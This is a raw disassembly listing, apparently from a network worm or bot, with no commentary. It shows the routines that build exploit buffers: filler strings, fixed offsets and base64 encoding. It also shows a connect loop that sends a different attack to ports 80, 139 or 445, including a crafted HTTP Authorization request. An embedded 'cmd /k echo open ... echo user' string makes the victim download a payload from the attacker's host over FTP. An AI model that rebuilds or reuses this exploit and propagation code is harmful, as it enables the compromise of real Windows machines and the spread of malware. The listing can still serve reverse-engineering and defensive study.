var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40C6E0
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CC90
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CC90
push esi
lea ecx, [ebp+var_30]
call sub_40C6E0
lea ecx, [ebp+var_20]
call sub_40C6E0
lea ecx, [ebp+var_50]
call sub_40C6E0
lea ecx, [ebp+var_18]
call sub_40C6E0
lea ecx, [ebp+var_40]
call sub_40C6E0
lea ecx, [ebp+var_38]
call sub_40C6E0
lea ecx, [ebp+var_28]
call sub_40C6E0
push 4
push offset dword_433414
lea ecx, [ebp+var_30]
call sub_40C890
push 3
push offset dword_43341C
lea ecx, [ebp+var_30]
call sub_40C890
lea ecx, [ebp+var_30]
call sub_40C816
lea ecx, [ebp+var_30]
call sub_40C8F1
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BD60
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40C890
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40C890
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40C890
lea ecx, [ebp+var_20]
call sub_40C816
push offset loc_4337A4
lea ecx, [ebp+var_50]
call sub_40C8C4
lea ecx, [ebp+var_50]
call sub_40C816
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40C6EA
lea ecx, [ebp+var_58]
call sub_40C816
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40C92D
lea ecx, [ebp+var_58]
call sub_40C779
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BD60
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40C8C4
push 4
push offset dword_433420
lea ecx, [ebp+var_18]
call sub_40C890
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40C890
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40C890
lea ecx, [ebp+var_18]
call sub_40C816
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40C8E1
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40C8E1
lea ecx, [ebp+var_40]
call sub_40C8F1
lea ecx, [ebp+var_18]
call sub_40C779
lea ecx, [ebp+var_50]
call sub_40C779
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40C8E1
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40C8E1
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40C8E1
lea ecx, [ebp+var_38]
call sub_40C8F1
lea ecx, [ebp+var_20]
call sub_40C779
lea ecx, [ebp+var_30]
call sub_40C779
lea ecx, [ebp+var_40]
call sub_40C779
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40C890
lea ecx, [ebp+var_28]
call sub_40C816
push 2
push offset dword_433798
lea ecx, [ebp+var_28]
call sub_40C890
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40C8E1
lea ecx, [ebp+var_28]
call sub_40C8F1
lea ecx, [ebp+var_38]
call sub_40C779
lea ecx, [ebp+var_10]
call sub_40C6E0
lea ecx, [ebp+var_8]
call sub_40C6E0
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40C8E1
lea ecx, [ebp+var_10]
call sub_40C792
lea ecx, [ebp+var_28]
call sub_40C779
push offset dword_433794
lea ecx, [ebp+var_8]
call sub_40C8C4
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C8E1
lea ecx, [ebp+var_8]
call sub_40C792
lea ecx, [ebp+var_10]
call sub_40C779
push offset dword_433790
lea ecx, [ebp+var_10]
call sub_40C8C4
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40C8E1
lea ecx, [ebp+var_10]
call sub_40C792
lea ecx, [ebp+var_8]
call sub_40C779
push offset dword_433784
lea ecx, [ebp+var_8]
call sub_40C8C4
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40C8E1
lea ecx, [ebp+var_8]
call sub_40C792
lea ecx, [ebp+var_10]
call sub_40C779
push (offset loc_43377F+1)
lea ecx, [ebp+var_48]
call sub_40C8C4
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40C8E1
lea ecx, [ebp+var_8]
call sub_40C779
pop esi
loc_40CC90: ; CODE XREF: sub_40C94C+1Bj
; sub_40C94C+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_40C94C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCA2 proc near ; CODE XREF: sub_40CD66+A2p
; sub_40CD66+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_428228 ; select
cmp eax, edi
jnz short loc_40CD09
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426FF6 ; __WSAFDIsSet
test eax, eax
jnz short loc_40CD0D
loc_40CD09: ; CODE XREF: sub_40CCA2+54j
xor eax, eax
jmp short loc_40CD1D
; ---------------------------------------------------------------------------
loc_40CD0D: ; CODE XREF: sub_40CCA2+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CDC7C ; recv
loc_40CD1D: ; CODE XREF: sub_40CCA2+69j
pop edi
pop esi
leave
retn
sub_40CCA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD21 proc near ; CODE XREF: sub_40CD66+80p
; sub_40CD66+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CDC60 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp eax, 4
jz short loc_40CD4B
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CD4B: ; CODE XREF: sub_40CD21+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CDCB4 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CD21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD66 proc near ; CODE XREF: sub_40CE45+48p
; .packed:0040D2B6p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BCA5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CD8F
xor al, al
jmp loc_40CE40
; ---------------------------------------------------------------------------
loc_40CD8F: ; CODE XREF: sub_40CD66+20j
push ebx
push 0
push esi
call sub_41BD60
push 2Fh
push offset dword_4334B0
push esi
call near ptr sub_41CAE0
push 8
lea eax, [esi+31h]
push offset dword_4334E0
push eax
mov [esi+2Fh], di
call near ptr sub_41CAE0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call near ptr sub_41CAE0
push 6
add ebx, edi
push offset dword_4D0968
push ebx
call near ptr sub_41CAE0
push 85h
push offset dword_433428
push [ebp+arg_0]
call sub_40CD21
add esp, 48h
test al, al
jnz short loc_40CDF6
loc_40CDF2: ; CODE XREF: sub_40CD66+B8j
xor bl, bl
jmp short loc_40CE37
; ---------------------------------------------------------------------------
loc_40CDF6: ; CODE XREF: sub_40CD66+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40CCA2
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_40CD21
add esp, 1Ch
test al, al
jz short loc_40CDF2
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40CCA2
add esp, 10h
mov bl, 1
loc_40CE37: ; CODE XREF: sub_40CD66+8Ej
push esi
call sub_41B881
pop ecx
mov al, bl
loc_40CE40: ; CODE XREF: sub_40CD66+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CD66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE45 proc near ; CODE XREF: .packed:0040D29Cp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_4334F0
push [ebp+arg_0]
call dword_428224 ; send
cmp eax, 48h
jnz short loc_40CE80
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CCA2
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40CE80
cmp [ebp+var_20], 82h
jz short loc_40CE84
loc_40CE80: ; CODE XREF: sub_40CE45+1Bj
; sub_40CE45+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CE84: ; CODE XREF: sub_40CE45+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CD66
add esp, 0Ch
leave
retn
sub_40CE45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE97 proc near ; CODE XREF: sub_40CEE3+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_428698
call sub_41CF68
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_428690
fstp [esp+10h+var_10]
call sub_41CE49
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41CF68
inc eax
leave
retn
sub_40CE97 endp
; =============== S U B R O U T I N E =======================================
sub_40CEE3 proc near ; CODE XREF: sub_40D082+24p
var_40 = qword ptr -40h
mov eax, offset loc_427697
call sub_41D434
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_40D515
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_40CE97
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40CF25
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D48F
loc_40CF25: ; CODE XREF: sub_40CEE3+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D043
mov ebx, [ebp+10h]
loc_40CF34: ; CODE XREF: sub_40CEE3+157j
cmp dword ptr [ebp+10h], 3
jb short loc_40CF3F
push 3
loc_40CF3C: ; CODE XREF: sub_40CEE3+64j
pop ebx
jmp short loc_40CF52
; ---------------------------------------------------------------------------
loc_40CF3F: ; CODE XREF: sub_40CEE3+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40CF49
push 2
jmp short loc_40CF3C
; ---------------------------------------------------------------------------
loc_40CF49: ; CODE XREF: sub_40CEE3+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_40CF52
xor ebx, ebx
inc ebx
loc_40CF52: ; CODE XREF: sub_40CEE3+5Aj
; sub_40CEE3+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_4286A0
fstp [esp+40h+var_40]
call sub_41CF8F
pop ecx
pop ecx
call sub_41CF68
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40CF91
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40CF91: ; CODE XREF: sub_40CEE3+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40CFFF
add [ebp-18h], eax
loc_40CFE3: ; CODE XREF: sub_40CEE3+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_433540[eax]
push eax
push 1
call sub_40D310
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40CFE3
loc_40CFFF: ; CODE XREF: sub_40CEE3+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D01D
push dword ptr [ebp+14h]
call sub_41B7B0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D36A
mov [ebp-18h], edi
loc_40D01D: ; CODE XREF: sub_40CEE3+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D037
sub esi, [ebp-1Ch]
loc_40D028: ; CODE XREF: sub_40CEE3+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D310
dec esi
jnz short loc_40D028
loc_40D037: ; CODE XREF: sub_40CEE3+140j
cmp [ebp+10h], edi
ja loc_40CF34
xor ebx, ebx
inc ebx
loc_40D043: ; CODE XREF: sub_40CEE3+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D515
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_40D3C2
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D515
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40CEE3 endp
; =============== S U B R O U T I N E =======================================
sub_40D082 proc near ; CODE XREF: .packed:0040D27Fp
mov eax, offset loc_4276B4
call sub_41D434
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43FE14
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40CEE3
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BCA5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D0CC
xor bl, bl
jmp short loc_40D110
; ---------------------------------------------------------------------------
loc_40D0CC: ; CODE XREF: sub_40D082+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4286A8
cmp ecx, ebx
jnz short loc_40D0DA
mov ecx, eax
loc_40D0DA: ; CODE XREF: sub_40D082+54j
cmp [ebp+18h], ebx
jz short loc_40D0E2
mov eax, [ebp+18h]
loc_40D0E2: ; CODE XREF: sub_40D082+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C150
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CDCB4 ; send
cmp eax, esi
jz short loc_40D107
xor bl, bl
jmp short loc_40D109
; ---------------------------------------------------------------------------
loc_40D107: ; CODE XREF: sub_40D082+7Fj
mov bl, 1
loc_40D109: ; CODE XREF: sub_40D082+83j
push edi
call sub_41B881
pop ecx
loc_40D110: ; CODE XREF: sub_40D082+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D515
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D515
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D082 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_4336F0
push eax
call near ptr sub_41CAE0
add esp, 0Ch
mov eax, offset byte_42A10C
push eax
push eax
movzx eax, word ptr dword_4CD998
push eax
push dword ptr [ebp+8]
call sub_40AB14
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C150
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_433588
push eax
call sub_40C94C
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D1DB
xor eax, eax
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D1DB: ; CODE XREF: .packed:0040D1D2j
mov [ebp-0Ch], esi
loc_40D1DE: ; CODE XREF: .packed:0040D2DEj
test esi, esi
jnz loc_40D2E4
push 6
push 1
push 2
call dword_428220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D2CC
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CDC64 ; ntohs
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CDCA4 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D2C1
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D289
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D515
lea eax, [ebp+0Ch]
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D54D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D082
add esp, 1Ch
jmp short loc_40D2BE
; ---------------------------------------------------------------------------
loc_40D289: ; CODE XREF: .packed:0040D247j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D2A3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CE45
jmp short loc_40D2BB
; ---------------------------------------------------------------------------
loc_40D2A3: ; CODE XREF: .packed:0040D293j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D2C1
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CD66
loc_40D2BB: ; CODE XREF: .packed:0040D2A1j
add esp, 0Ch
loc_40D2BE: ; CODE XREF: .packed:0040D287j
movzx esi, al
loc_40D2C1: ; CODE XREF: .packed:0040D23Aj
; .packed:0040D2ADj
push ebx
call dword_4CDCFC ; closesocket
test esi, esi
jnz short loc_40D2D7
loc_40D2CC: ; CODE XREF: .packed:0040D1F7j
push 3E8h
call dword_428064 ; Sleep
loc_40D2D7: ; CODE XREF: .packed:0040D2CAj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D1DE
loc_40D2E4: ; CODE XREF: .packed:0040D1E0j
lea ecx, [ebp-8]
call sub_40C779
test esi, esi
jz short loc_40D301
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40D301: ; CODE XREF: .packed:0040D2EEj
mov eax, esi
loc_40D303: ; CODE XREF: .packed:0040D1D6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427678
loc_40D308: ; CODE XREF: sub_427678+3j
; .packed:00427691j ...
push 1
call sub_40D515
retn
; END OF FUNCTION CHUNK FOR sub_427678
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D310 proc near ; CODE XREF: sub_40CEE3+111p
; sub_40CEE3+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_40D327
call sub_426CA0
loc_40D327: ; CODE XREF: sub_40D310+10j
cmp [ebp+arg_0], 0
jbe short loc_40D362
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40D48F
test al, al
jz short loc_40D362
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BD60
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D362: ; CODE XREF: sub_40D310+1Bj
; sub_40D310+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40D310 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D36A proc near ; CODE XREF: sub_40CEE3+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_40D381
call sub_426CA0
loc_40D381: ; CODE XREF: sub_40D36A+10j
cmp [ebp+arg_4], 0
jbe short loc_40D3BA
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40D48F
test al, al
jz short loc_40D3BA
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call near ptr sub_41CAE0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D3BA: ; CODE XREF: sub_40D36A+1Bj
; sub_40D36A+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40D36A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D3C2 proc near ; CODE XREF: sub_40CEE3+179p
; sub_426CFA+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D3DA
call sub_426ECC
loc_40D3DA: ; CODE XREF: sub_40D3C2+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D3EC
mov esi, [ebp+arg_8]
loc_40D3EC: ; CODE XREF: sub_40D3C2+25j
cmp edi, ebx
jnz short loc_40D40A
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_40D582
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D582
jmp short loc_40D486
; ---------------------------------------------------------------------------
loc_40D40A: ; CODE XREF: sub_40D3C2+2Cj
test esi, esi
jbe short loc_40D44D
cmp esi, eax
jnz short loc_40D44D
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D41E
mov eax, offset dword_4286A8
loc_40D41E: ; CODE XREF: sub_40D3C2+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D44D
push 1
mov ecx, edi
call sub_40D515
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D439
mov eax, offset dword_4286A8
loc_40D439: ; CODE XREF: sub_40D3C2+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D486
; ---------------------------------------------------------------------------
loc_40D44D: ; CODE XREF: sub_40D3C2+4Aj
; sub_40D3C2+4Ej ...
push 1
push esi
mov ecx, edi
call sub_40D48F
test al, al
jz short loc_40D486
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_40D46A
mov eax, offset dword_4286A8
loc_40D46A: ; CODE XREF: sub_40D3C2+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call near ptr sub_41CAE0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D486: ; CODE XREF: sub_40D3C2+46j
; sub_40D3C2+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D3C2 endp
; =============== S U B R O U T I N E =======================================
sub_40D48F proc near ; CODE XREF: sub_40CEE3+3Dp
; sub_40D310+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D4A1
call sub_426CA0
loc_40D4A1: ; CODE XREF: sub_40D48F+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_40D4C9
mov cl, [eax-1]
cmp cl, dl
jz short loc_40D4C9
cmp cl, 0FFh
jz short loc_40D4C9
cmp edi, edx
mov ecx, esi
jnz short loc_40D508
dec byte ptr [eax-1]
push edx
loc_40D4C0: ; CODE XREF: sub_40D48F+48j
call sub_40D515
loc_40D4C5: ; CODE XREF: sub_40D48F+4Cj
; sub_40D48F+53j
xor al, al
jmp short loc_40D510
; ---------------------------------------------------------------------------
loc_40D4C9: ; CODE XREF: sub_40D48F+19j
; sub_40D48F+20j ...
cmp edi, edx
jnz short loc_40D4E4
cmp [esp+8+arg_4], dl
jz short loc_40D4D9
push 1
mov ecx, esi
jmp short loc_40D4C0
; ---------------------------------------------------------------------------
loc_40D4D9: ; CODE XREF: sub_40D48F+42j
cmp eax, edx
jz short loc_40D4C5
mov [esi+8], edx
mov [eax], dl
jmp short loc_40D4C5
; ---------------------------------------------------------------------------
loc_40D4E4: ; CODE XREF: sub_40D48F+3Cj
cmp [esp+8+arg_4], dl
jz short loc_40D501
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D4F6
cmp eax, edi
jnb short loc_40D50E
loc_40D4F6: ; CODE XREF: sub_40D48F+61j
push 1
mov ecx, esi
call sub_40D515
jmp short loc_40D506
; ---------------------------------------------------------------------------
loc_40D501: ; CODE XREF: sub_40D48F+59j
cmp [esi+0Ch], edi
jnb short loc_40D50E
loc_40D506: ; CODE XREF: sub_40D48F+70j
mov ecx, esi
loc_40D508: ; CODE XREF: sub_40D48F+2Bj
push edi
call sub_40D5E9
loc_40D50E: ; CODE XREF: sub_40D48F+65j
; sub_40D48F+75j
mov al, 1
loc_40D510: ; CODE XREF: sub_40D48F+38j
pop edi
pop esi
retn 8
sub_40D48F endp
; =============== S U B R O U T I N E =======================================
sub_40D515 proc near ; CODE XREF: sub_40CEE3+1Fp
; sub_40CEE3+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D53D
mov eax, [esi+4]
test eax, eax
jz short loc_40D53D
dec eax
mov cl, [eax]
test cl, cl
jz short loc_40D536
cmp cl, 0FFh
jz short loc_40D536
dec byte ptr [eax]
jmp short loc_40D53D
; ---------------------------------------------------------------------------
loc_40D536: ; CODE XREF: sub_40D515+16j
; sub_40D515+1Bj
push eax
call sub_41D453
pop ecx
loc_40D53D: ; CODE XREF: sub_40D515+8j
; sub_40D515+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D515 endp
; =============== S U B R O U T I N E =======================================
sub_40D54D proc near ; CODE XREF: .packed:0040D273p
; sub_40D6A6+28p ...
